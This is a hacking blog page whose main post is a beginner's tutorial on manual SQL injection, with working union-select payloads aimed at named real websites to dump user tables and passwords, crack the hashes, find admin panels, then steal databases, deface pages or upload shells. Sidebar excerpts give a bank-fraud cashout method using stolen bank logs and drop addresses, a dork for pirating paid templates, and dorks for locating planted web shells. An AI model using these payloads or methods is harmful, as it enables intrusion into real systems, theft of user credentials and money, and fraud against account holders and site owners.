Skip to main content

Featured Post

Kali Linux Terminal Customization Tutorial

Today I'll show you guys how to change kali linux terminal header text.

(TUTORIAL) How to do Manual SQL Injection [FULL BEGINNERS Guide to SQL Injection)

Hello everyone, today I will be giving you a guide to SQL Injection using the basics of manual injection. I will provide pictures, examples, step by step parts, tools and much more. so let's get started.

 Tools you can use:


 Tutorial:
Okay so let's start by choosing a website, it must end with "ID=NUMBER". That is the SQLi vulnerability.
I will be choosing this site
Code:
http://calidus.ro/en/news.php?id=2
 
 
 
Now to test if the website is actually vulnerable, you just need to add an apostrophe to the end of it, so it looks like this:
Code:
http://calidus.ro/en/news.php?id=2'
and you should get a MySQL Error which is a good thing.
 

Finding amount of Columns

Now you are going to want to find the amount of columns, and you can do this by removing the apostrophe at the end and adding this to the end of your link:
Code:
+order+by+(number)--
 
Enter any number from 1-15, if you get an error, keep lowering the number until you don't and vice versa. Find the number that if you go one higher than you will get an error. So I will put
Code:
http://calidus.ro/en/news.php?id=2+order+by+5--
 
and I get an error, so I will lower it by one and the page loads perfectly, that number is the amount of columns on the site.

Gathering vulnerable columns

Now we want to find which columns are vulnerable, so we will do this, take out all the stuff on the link that comes after id=2 and replace it with this code:
Code:
+union+select+1,2,3,4--
 
Now in my case it's 1,2,3,4 because i have four columns, you change yours to how many columns you have and remember to add the "--" at the end. Also change ID=2 to either "Id=-2" or "Id=null" and your link should look like this:
Code:
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,4--
 
but remember to change column amount to yours!
Press enter and you will get a number or two, these are the vulnerable columns, now the MySQL version MUST be above 5 for this to work.

Checking MySQL Version

Next we will find the MySQL version of the columns, so pick one of the numbers that showed up on the site and look for it in your URL bar, then replace it with this code:
Code:
@@version
So your link should look like this
Code:
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,@@version--
 
(You can do whatever number you like, as long as it's vulnerable.)
The @@version code makes the website display it's MYSQL version

Retrieving Table Names

After that, we will find the table names and for this you need some codes:
Code:
group_concat(table_name,0x0a)
Code:
from+information_schema.tables
Code:
+where+table_schema=database()--
The 0x0a breaks the line between each table for easier viewing.

So you are now supposed to choose a vulnerable column and replace it with 'group_concat(table_name,0x0a)' and then add the last two codes in at the end.
Your link should look something like this:
Code:
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,group_concat(table_name,0x0a)+from+informati ​on_schema.tables+where+table_schema=database()--
 
Look for the "Users" table, or something like that, that's what you need.

Getting Column names from Tables

Now we will retrieve the column names from the tables, we are looking from the account info from the "users" table but first we need the columns.
We will need to replace some code, so look for "group_concat(table_name,0x0a) and replace (table_name,0x0a) with (column_name,0x0a)
Look for 'information_schema.tables' and replace 'tables' with 'columns'.
Finally, delete all the text after 'information_schema.tables' and infront of it add
Code:
where+table_name=char(ASCII CODE)
 
But wait, that won't work. This could be because one of the two reasons: You are copying directly from my tutorial and the table on your website is not called users, and two you need to use ASCII. So go to your website and find the table that you think is the users table. It could be "Admin_Login" or anything like that. Once you find it, use the String to ASCII link provided in the Links section to convert your table name to ASCII. It should come up like this "123 456 789". You must change it to "(123,456,789) by adding commas where the spaces were and brackets on both sides. So you need to put do the steps above but replace "ASCII CODE" with your table name in ASCII. Mine would be something like this "117,115,101,114,115".

Extracting Data from Columns

Great, now we have the columns in the 'users' table, we now need the account info so look for the important columns you need which can be "User ID" "ID" "User_Password" "Password" etc.
This means you must change the previous 'group_concat' to something like this
Code:
group_concat(user_ID,0x3a,username,0x3a,user_password,0x0a)
 
Then, delete everything after '+from' and replace with this code
Code:
+users--
So your link should look a little like this:
Code:
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0 ​​a),3,4,5,6,7,8,9,10,11,12,13+from+users--
 

Decrypting Account Detail Hashes

Finally, you should get some weird strings maybe mixed with text, that means the passwords are encrypted, mostly using MD5. So we want to go to this website: http://www.md5decrypt.org/
Then you want to enter the strings one by one, if MD5 doesn't work, try the other options like 'MD4', 'SHA1', etc.

Finding Admin Login Page

You finally have the user and password for the website, now what? You will need to find a page for you to login for admin access. For this you will be using an Admin Panel Finder, I have provided multiple links for them at the top of this tutorial, but I'll post the best here: http://sc0rpion.ir/
There, you've found your admin page and the admin login details, now you can do stuff like steal their DB, upload your deface page, upload a shell, and a lot more.

String Based Injection
Now if that first guide did not work, there may be a quick fix on your problem. If nothing happens when you type "union+select+1,3,3,7--" or whatever number, there is a fix and it's called String Based Injection. Basically what you do it first: If the ID was null change it to -(number) and add an apostrophe back infront of it so -69' would be an example. Then at the end where it says "--" you must change that to "--+-". If the tables are still not showing up, your numbers are not going high enough or the site is not vulnerable.

Thank you everyone for reading my basic SQL Injection tutorial for beginners, I hope you enjoyed and more to come soon!

Comments

Popular posts from this blog

[Bank Transfer Tutorial] Prepaid Card Cashout

1. You will goto card.com and get a prepaid card with checking acc using the bank logs info to sign up with, only change the billing address to your drop address. It will take 3-5 days for you to receive and activate the card but you can deposit after registration is successfull. And as far as you havent caused any changes on the account, the owner will not be notified. 2. Go to venmo and register an account with the prepaid account details. Verify the venmo acc with the ssn and dob. 3. After a day, add the prepaid account to your venmo acc and verify it. Add the bank log details to the venmo acc and verify it. Two days gone. 4. On the third day, load less than $11,000 in your venmo balance. 5. On the next day, cashout less than $10000 into your prepaid account. the money is yours. 6. The mail containing the card would have reached your drop. Activate it online and cashout immediately. Warning. 1. Prepaid cards take only $10,000 and less. If more than $1000...

Get Any Premium Templates Free @ ThemeForest! ( Full Method )

Hi all! Today I'm going to share to you how to get any premium templates  in ThemeForest without downloading any shitty files or viruses. I think you guys enjoy this tutorial ;) . This also includes some screenshots to guide you :D Go to Google Put this query at the search box. intitle:"index.of" themeforest-4260361-journal-advanced-opencart-theme-framework.zip  Replace "4260361" with the number of your desired template. Replace "journal-advanced-opencart-theme-framework" with the name of your desired template. Then hit enter! And you will be seeing direct links of the template you want For example: I want this template. http://themeforest.net/item/ avada-responsive-multipurpose-theme / 2833226 So this would be my query: intitle:"index.of" themeforest- 2833226 - avada-responsive-multipurpose-theme .zip Screenshot A simple thanks or rep is much appreciated Enjoy

Some most important google dorks

Salam all , today i can give you some most important google dorks . whos help you for hacking . lets see blew - Dork for finding shell inurl:.php “cURL: ON MySQL: ON MSSQL: OFF” “Shell” filetype:php intext:”uname -a:” “EDT 2010? intitle:”intitle:r57shell” [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ] inurl:”c99.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout inurl:”c100.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout intitle:”Shell” inurl:”.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Updat Dork html injection inurl:"id=" & intext:"warning: mysql_fetch-assoc() inurl:"id=" & intext:"warning: mysql_fetch-array() inurl:"id=" & intext:"warning: mysql_num_rows() inurl:"id=" & intext:"warning: session_satrt() inurl:"id=...